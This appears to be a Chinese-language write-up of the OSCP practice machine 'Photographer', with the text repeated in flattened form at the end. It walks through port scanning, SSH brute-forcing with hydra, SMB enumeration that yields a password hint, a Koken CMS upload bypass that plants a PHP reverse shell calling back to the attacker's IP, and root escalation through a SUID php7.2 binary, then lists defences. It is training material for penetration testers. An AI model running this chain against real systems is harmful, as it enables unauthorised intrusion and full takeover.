从WEB到内网&&信息收集&&SMB枚举&&SUID提权-------打靶经验分享
字数 1497 2025-08-10 13:48:29

OSCP靶机Photographer渗透测试实战教学

靶机概述

  • 难度:中等偏高
  • 目标:获取两个flag(用户flag和root flag)
  • 涉及技术点:
    • 端口与服务探测
    • SSH爆破
    • SMB枚举
    • 文件上传绕过
    • SUID提权

环境准备

  • 攻击机IP:192.168.45.248
  • 靶机IP:192.168.152.76
  • 使用工具:OpenVPN、nmap、hydra、smbclient、enum4linux、dirsearch、Burp Suite、nc等

信息收集阶段

1. 端口扫描

使用nmap进行快速扫描:

nmap --min-rate 10000 -p- 192.168.152.76

发现开放端口:

  • 22/tcp: OpenSSH 7.2p2 Ubuntu
  • 80/tcp: Apache httpd 2.4.18
  • 139/tcp: Samba smbd 3.X - 4.X
  • 445/tcp: Samba smbd 3.X - 4.X
  • 8000/tcp: Apache httpd 2.4.18

详细版本信息:

nmap -sV -p22,80,139,445,8000 192.168.152.76

2. 各端口详细测试

2.1 SSH端口(22)

  • 版本:OpenSSH 7.2p2 Ubuntu
  • 检查可利用漏洞:
searchsploit OpenSSH 7.2

发现用户枚举漏洞,但暂不使用

  • 测试SSH登录:
ssh root@192.168.152.76 -v

发现支持密钥和密码登录

  • 尝试弱口令爆破:
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.152.76 ssh -s 22

未爆破成功

2.2 HTTP服务(80)

  • 访问主页:
curl http://192.168.152.76
  • 识别CMS:
whatweb http://192.168.152.76/

疑似Photographer CMS,但无相关漏洞

  • 目录扫描:
dirsearch -u http://192.168.152.76/

发现:

  • /assets/ - 静态资源
  • /images/ - 目录遍历,仅包含图片

2.3 SMB服务(445)

  • 列出共享:
smbclient -L //192.168.152.76

发现sambashare共享

  • 访问共享:
smbclient //192.168.152.76/sambashare -U root

发现文件:

  • mailsent.txt

  • wordpress.bkp.zip(太大无法下载)

  • 获取并分析mailsent.txt:

get mailsent.txt
cat mailsent.txt

内容显示:

  • 发件人:agi@photographer.com

  • 收件人:daisa@photographer.com

  • 密码提示:"my babygril"

  • 用户枚举:

enum4linux 192.168.152.76

2.4 HTTP服务(8000)

  • 访问服务:
curl http://192.168.152.76:8000
  • 识别CMS:
whatweb 192.168.152.76:8000/

发现Koken 0.22.24

  • 查找漏洞:
searchsploit Koken 0.22.24

发现任意文件上传漏洞(48706.txt)

  • 目录扫描:
dirsearch -u http://192.168.152.76:8000/ -x 302,403

发现/admin登录页面

攻击阶段

1. 利用Koken CMS漏洞

  • 登录后台:

    • 用户名:daisa@photographer.com
    • 密码:babygril(来自mailsent.txt提示)
  • 准备反弹shell:

cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php.jpg
  • 修改shell配置:
sed -i '49s/127.0.0.1/192.168.45.248/' shell.php.jpg
sed -i '50s/1234/6666/' shell.php.jpg
  • 设置监听:
nc -lvvp 6666
  • 使用Burp Suite上传文件:

    1. 上传shell.php.jpg
    2. 拦截请求修改为shell.php
    3. 获取上传路径
  • 触发shell:

curl http://192.168.152.76:8000/storage/originals/d2/eb/shell.php

2. 获取初始shell后操作

  • 升级交互式shell:
python -c "import pty;pty.spawn('/bin/bash')"
  • 获取用户flag:
find / -name local.txt 2>/dev/null
cat /home/daisa/local.txt

提权阶段

1. 尝试多种提权方法

  • 内核overlayfs提权:
lsb_release -a

Ubuntu 16.04,不适用

  • 低内核版本提权:
uname -a

内核版本4.15.0,不适用

  • sudo提权:
sudo -l

需要密码

2. SUID提权

  • 查找SUID文件:
find / -perm -u=s -type f 2>/dev/null

发现php7.2具有SUID权限

  • 利用php7.2提权:
php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"
  • 获取root flag:
cat /root/proof.txt

关键知识点总结

  1. SMB枚举:通过smbclient和enum4linux获取共享信息和潜在凭据
  2. CMS漏洞利用:通过识别CMS版本查找已知漏洞
  3. 文件上传绕过:修改文件扩展名绕过限制
  4. SUID提权:查找具有SUID权限的可执行文件并利用其提权
  5. 信息收集:从各种服务中收集潜在凭据和提示信息

防御建议

  1. 及时更新CMS和系统组件
  2. 限制SMB共享的匿名访问
  3. 避免使用弱密码或可猜测密码
  4. 严格控制SUID权限设置
  5. 实施文件上传白名单验证
OSCP靶机Photographer渗透测试实战教学 靶机概述 难度:中等偏高 目标:获取两个flag(用户flag和root flag) 涉及技术点: 端口与服务探测 SSH爆破 SMB枚举 文件上传绕过 SUID提权 环境准备 攻击机IP:192.168.45.248 靶机IP:192.168.152.76 使用工具:OpenVPN、nmap、hydra、smbclient、enum4linux、dirsearch、Burp Suite、nc等 信息收集阶段 1. 端口扫描 使用nmap进行快速扫描: 发现开放端口: 22/tcp: OpenSSH 7.2p2 Ubuntu 80/tcp: Apache httpd 2.4.18 139/tcp: Samba smbd 3.X - 4.X 445/tcp: Samba smbd 3.X - 4.X 8000/tcp: Apache httpd 2.4.18 详细版本信息: 2. 各端口详细测试 2.1 SSH端口(22) 版本:OpenSSH 7.2p2 Ubuntu 检查可利用漏洞: 发现用户枚举漏洞,但暂不使用 测试SSH登录: 发现支持密钥和密码登录 尝试弱口令爆破: 未爆破成功 2.2 HTTP服务(80) 访问主页: 识别CMS: 疑似Photographer CMS,但无相关漏洞 目录扫描: 发现: /assets/ - 静态资源 /images/ - 目录遍历,仅包含图片 2.3 SMB服务(445) 列出共享: 发现sambashare共享 访问共享: 发现文件: mailsent.txt wordpress.bkp.zip(太大无法下载) 获取并分析mailsent.txt: 内容显示: 发件人:agi@photographer.com 收件人:daisa@photographer.com 密码提示:"my babygril" 用户枚举: 2.4 HTTP服务(8000) 访问服务: 识别CMS: 发现Koken 0.22.24 查找漏洞: 发现任意文件上传漏洞(48706.txt) 目录扫描: 发现/admin登录页面 攻击阶段 1. 利用Koken CMS漏洞 登录后台: 用户名:daisa@photographer.com 密码:babygril(来自mailsent.txt提示) 准备反弹shell: 修改shell配置: 设置监听: 使用Burp Suite上传文件: 上传shell.php.jpg 拦截请求修改为shell.php 获取上传路径 触发shell: 2. 获取初始shell后操作 升级交互式shell: 获取用户flag: 提权阶段 1. 尝试多种提权方法 内核overlayfs提权: Ubuntu 16.04,不适用 低内核版本提权: 内核版本4.15.0,不适用 sudo提权: 需要密码 2. SUID提权 查找SUID文件: 发现php7.2具有SUID权限 利用php7.2提权: 获取root flag: 关键知识点总结 SMB枚举 :通过smbclient和enum4linux获取共享信息和潜在凭据 CMS漏洞利用 :通过识别CMS版本查找已知漏洞 文件上传绕过 :修改文件扩展名绕过限制 SUID提权 :查找具有SUID权限的可执行文件并利用其提权 信息收集 :从各种服务中收集潜在凭据和提示信息 防御建议 及时更新CMS和系统组件 限制SMB共享的匿名访问 避免使用弱密码或可猜测密码 严格控制SUID权限设置 实施文件上传白名单验证